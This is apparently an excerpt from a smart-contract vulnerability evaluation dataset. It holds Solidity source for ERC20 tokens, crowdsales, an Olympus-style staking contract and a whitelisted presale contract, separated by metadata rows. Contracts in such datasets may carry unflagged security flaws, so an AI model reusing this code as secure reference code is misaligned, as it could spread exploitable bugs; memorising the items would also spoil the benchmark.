_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public token;
address payable public wallet;
uint256 public startRate;
uint256 public endRate;
uint256 public tokenDesired;
uint256 public tokensRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(address _token, address payable _wallet, uint256 _startRate, uint256 _endRate, uint256 _tokenDesired) public {
token = IERC20(_token);
wallet = _wallet;
startRate = _startRate;
endRate = _endRate;
tokenDesired = _tokenDesired;
tokensRaised = 0;
}
function receive() external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(uint256(10) ** ERC20(address(token)).decimals()).div(getRate());
tokensRaised = tokensRaised.add(tokens);
token.safeTransfer(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function getRate() public view returns (uint256) {
return endRate.sub(tokenDesired.sub(tokensRaised).mul(endRate.sub(startRate)).div(tokenDesired));
}
}
| 342,324 | 13,272 |
4fd0e578c52c8b5670fe3bc620f15c1803d799d26f72c69c4f926dbcf9ed58be
| 27,655 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/a9/a95bc71fe4aa1334494575fc56529a120b4912c6_TimeStaking.sol
| 4,256 | 17,195 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
initializer = msg.sender;
}
address public initializer;
function initFirstEpoch(uint32 _epochTime) external{
require(initializer == msg.sender, "not init");
epoch.endTime = _epochTime;
initializer = address(0);
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 109,227 | 13,273 |
2ebd4163ff172c10c42d13899d1dbd111166d7453bad119e421b1c0362d41105
| 29,930 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb9cea999eee3e5a57dda1ea8d39b2bfa59704a86.sol
| 5,544 | 19,798 |
pragma solidity ^0.4.23;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender,
_beneficiary,
weiAmount,
tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary,
uint256 _tokenAmount)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/ZeexWhitelistedCrowdsale.sol
contract ZeexWhitelistedCrowdsale is Crowdsale, Ownable {
address public whitelister;
mapping(address => bool) public whitelist;
constructor(address _whitelister) public {
require(_whitelister != address(0));
whitelister = _whitelister;
}
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) public onlyOwnerOrWhitelister {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) public onlyOwnerOrWhitelister {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) public onlyOwnerOrWhitelister {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
modifier onlyOwnerOrWhitelister() {
require(msg.sender == owner || msg.sender == whitelister);
_;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to,
uint256 _amount)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: openzeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
// File: openzeppelin-solidity/contracts/crowdsale/validation/CappedCrowdsale.sol
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
// File: openzeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: contracts/ZeexCrowdsale.sol
contract ZeexCrowdsale is CappedCrowdsale, MintedCrowdsale, TimedCrowdsale, Pausable, ZeexWhitelistedCrowdsale {
using SafeMath for uint256;
uint256 public presaleOpeningTime;
uint256 public presaleClosingTime;
uint256 public presaleBonus = 25;
uint256 public minPresaleWei;
uint256 public maxPresaleWei;
bytes1 public constant publicPresale = "0";
bytes1 public constant privatePresale = "1";
address[] public bonusUsers;
mapping(address => mapping(bytes1 => uint256)) public bonusTokens;
event Lock(address user, uint amount, bytes1 tokenType);
event ReleaseLockedTokens(bytes1 tokenType, address user, uint amount, address to);
constructor(uint256 _openingTime, uint256 _closingTime, uint hardCapWei,
uint256 _presaleOpeningTime, uint256 _presaleClosingTime,
uint256 _minPresaleWei, uint256 _maxPresaleWei,
address _wallet, MintableToken _token, address _whitelister) public
Crowdsale(5000, _wallet, _token)
CappedCrowdsale(hardCapWei)
TimedCrowdsale(_openingTime, _closingTime)
validPresaleClosingTime(_presaleOpeningTime, _presaleClosingTime)
ZeexWhitelistedCrowdsale(_whitelister) {
require(_presaleOpeningTime >= openingTime);
require(_maxPresaleWei >= _minPresaleWei);
presaleOpeningTime = _presaleOpeningTime;
presaleClosingTime = _presaleClosingTime;
minPresaleWei = _minPresaleWei;
maxPresaleWei = _maxPresaleWei;
paused = true;
}
// Overrides
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
super._preValidatePurchase(_beneficiary, _weiAmount);
if (isPresaleOn()) {
require(_weiAmount >= minPresaleWei && _weiAmount <= maxPresaleWei);
}
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate).add(getPresaleBonusAmount(_weiAmount));
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
uint256 weiAmount = msg.value;
uint256 lockedAmount = getPresaleBonusAmount(weiAmount);
uint256 unlockedAmount = _tokenAmount.sub(lockedAmount);
if (lockedAmount > 0) {
lockAndDeliverTokens(_beneficiary, lockedAmount, publicPresale);
}
_deliverTokens(_beneficiary, unlockedAmount);
}
// End of Overrides
function grantTokens(address _beneficiary, uint256 _tokenAmount) public onlyOwner {
_deliverTokens(_beneficiary, _tokenAmount);
}
function grantBonusTokens(address _beneficiary, uint256 _tokenAmount) public onlyOwner {
lockAndDeliverTokens(_beneficiary, _tokenAmount, privatePresale);
}
// lock tokens section
function lockAndDeliverTokens(address _beneficiary, uint256 _tokenAmount, bytes1 _type) internal {
lockBonusTokens(_beneficiary, _tokenAmount, _type);
_deliverTokens(address(this), _tokenAmount);
}
function lockBonusTokens(address _beneficiary, uint256 _amount, bytes1 _type) internal {
if (bonusTokens[_beneficiary][publicPresale] == 0 && bonusTokens[_beneficiary][privatePresale] == 0) {
bonusUsers.push(_beneficiary);
}
bonusTokens[_beneficiary][_type] = bonusTokens[_beneficiary][_type].add(_amount);
emit Lock(_beneficiary, _amount, _type);
}
function getBonusBalance(uint _from, uint _to) public view returns (uint total) {
require(_from >= 0 && _to >= _from && _to <= bonusUsers.length);
for (uint i = _from; i < _to; i++) {
total = total.add(getUserBonusBalance(bonusUsers[i]));
}
}
function getBonusBalanceByType(uint _from, uint _to, bytes1 _type) public view returns (uint total) {
require(_from >= 0 && _to >= _from && _to <= bonusUsers.length);
for (uint i = _from; i < _to; i++) {
total = total.add(bonusTokens[bonusUsers[i]][_type]);
}
}
function getUserBonusBalanceByType(address _user, bytes1 _type) public view returns (uint total) {
return bonusTokens[_user][_type];
}
function getUserBonusBalance(address _user) public view returns (uint total) {
total = total.add(getUserBonusBalanceByType(_user, publicPresale));
total = total.add(getUserBonusBalanceByType(_user, privatePresale));
}
function getBonusUsersCount() public view returns(uint count) {
return bonusUsers.length;
}
function releasePublicPresaleBonusTokens(address[] _users, uint _percentage) public onlyOwner {
require(_percentage > 0 && _percentage <= 100);
for (uint i = 0; i < _users.length; i++) {
address user = _users[i];
uint tokenBalance = bonusTokens[user][publicPresale];
uint amount = tokenBalance.mul(_percentage).div(100);
releaseBonusTokens(user, amount, user, publicPresale);
}
}
function releaseUserPrivateBonusTokens(address _user, uint _amount, address _to) public onlyOwner {
releaseBonusTokens(_user, _amount, _to, privatePresale);
}
function releasePrivateBonusTokens(address[] _users, uint[] _amounts) public onlyOwner {
for (uint i = 0; i < _users.length; i++) {
address user = _users[i];
uint amount = _amounts[i];
releaseBonusTokens(user, amount, user, privatePresale);
}
}
function releaseBonusTokens(address _user, uint _amount, address _to, bytes1 _type) internal onlyOwner {
uint tokenBalance = bonusTokens[_user][_type];
require(tokenBalance >= _amount);
bonusTokens[_user][_type] = bonusTokens[_user][_type].sub(_amount);
token.transfer(_to, _amount);
emit ReleaseLockedTokens(_type, _user, _amount, _to);
}
// Presale section
function getPresaleBonusAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 tokenAmount = 0;
if (isPresaleOn()) tokenAmount = (_weiAmount.mul(presaleBonus).div(100)).mul(rate);
return tokenAmount;
}
function updatePresaleMinWei(uint _minPresaleWei) public onlyOwner {
